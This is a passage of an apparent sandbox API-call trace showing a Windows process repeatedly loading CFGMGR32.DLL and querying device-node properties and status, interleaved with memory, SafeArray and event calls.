lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.437] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.438] malloc (_Size=0x18) returned 0x20abc2820c0 [0238.438] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0238.438] malloc (_Size=0x36) returned 0x20abc281810 [0238.438] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281810, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281810, pulLength=0x2dc22fd3f8) returned 0x0 [0238.439] free (_Block=0x20abc281810) [0238.439] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x49e23b1c, dwHighDateTime=0x1d9eb0c)) [0238.440] SetEvent (hEvent=0x248) returned 1 [0238.479] malloc (_Size=0x18) returned 0x20abc282060 [0238.479] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0238.480] free (_Block=0x20abc282060) [0238.480] malloc (_Size=0x18) returned 0x20abc281d80 [0238.480] SafeArrayPutElement (psa=0x20abbaf2420, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0238.480] free (_Block=0x20abc281d80) [0238.480] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bdf0 [0238.480] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0238.480] SafeArrayGetLBound (in: psa=0x20abbaf2420, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0238.480] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0238.480] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0238.480] SafeArrayGetDim (psa=0x20abbaf2420) returned 0x1 [0238.480] SafeArrayGetUBound (in: psa=0x20abbaf2420, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0238.480] SafeArrayGetElemsize (psa=0x20abbaf2420) returned 0x8 [0238.480] SafeArrayGetElement (in: psa=0x20abbaf2420, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0238.481] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.481] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0238.482] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0238.483] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bdf0) returned 1 [0238.483] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.484] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.487] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.487] malloc (_Size=0x18) returned 0x20abc2819a0 [0238.488] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0238.488] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x49e95d31, dwHighDateTime=0x1d9eb0c)) [0238.488] SetEvent (hEvent=0x248) returned 1 [0238.493] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.493] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.494] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.495] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.496] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.497] malloc (_Size=0x18) returned 0x20abc281f60 [0238.497] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.500] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ebc18a, dwHighDateTime=0x1d9eb0c)) [0238.501] SetEvent (hEvent=0x248) returned 1 [0238.505] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.505] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.507] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.508] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.509] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.509] malloc (_Size=0x18) returned 0x20abc281d40 [0238.509] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.509] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ee25ff, dwHighDateTime=0x1d9eb0c)) [0238.510] SetEvent (hEvent=0x248) returned 1 [0238.514] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.514] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.514] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.515] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.516] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.517] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.517] malloc (_Size=0x18) returned 0x20abc281e00 [0238.518] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.518] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49ee25ff, dwHighDateTime=0x1d9eb0c)) [0238.518] SetEvent (hEvent=0x248) returned 1 [0238.522] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.522] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.523] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.524] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.525] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.526] malloc (_Size=0x18) returned 0x20abc281b60 [0238.526] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.526] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49f083c9, dwHighDateTime=0x1d9eb0c)) [0238.527] SetEvent (hEvent=0x248) returned 1 [0238.575] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.575] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.576] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.577] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.578] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.579] malloc (_Size=0x18) returned 0x20abc281ec0 [0238.579] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0238.581] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49f7abd7, dwHighDateTime=0x1d9eb0c)) [0238.581] SetEvent (hEvent=0x248) returned 1 [0238.586] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.586] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0238.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0238.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0238.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0238.586] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0238.587] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0238.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0238.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0238.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0238.589] malloc (_Size=0x18) returned 0x20abc281de0 [0238.589] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x4, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0238.590] malloc (_Size=0x48) returned 0x20abc27cb20 [0238.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x49fa0e91, dwHighDateTime=0x1d9eb0c)) [0238.590] SetEvent (hEvent=0x248) returned 1 [0238.596] malloc (_Size=0xd8) returned 0x20abc284e70 [0238.596] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0238.597] GetProcAddress (hModule=0x7ffb1ced0000, 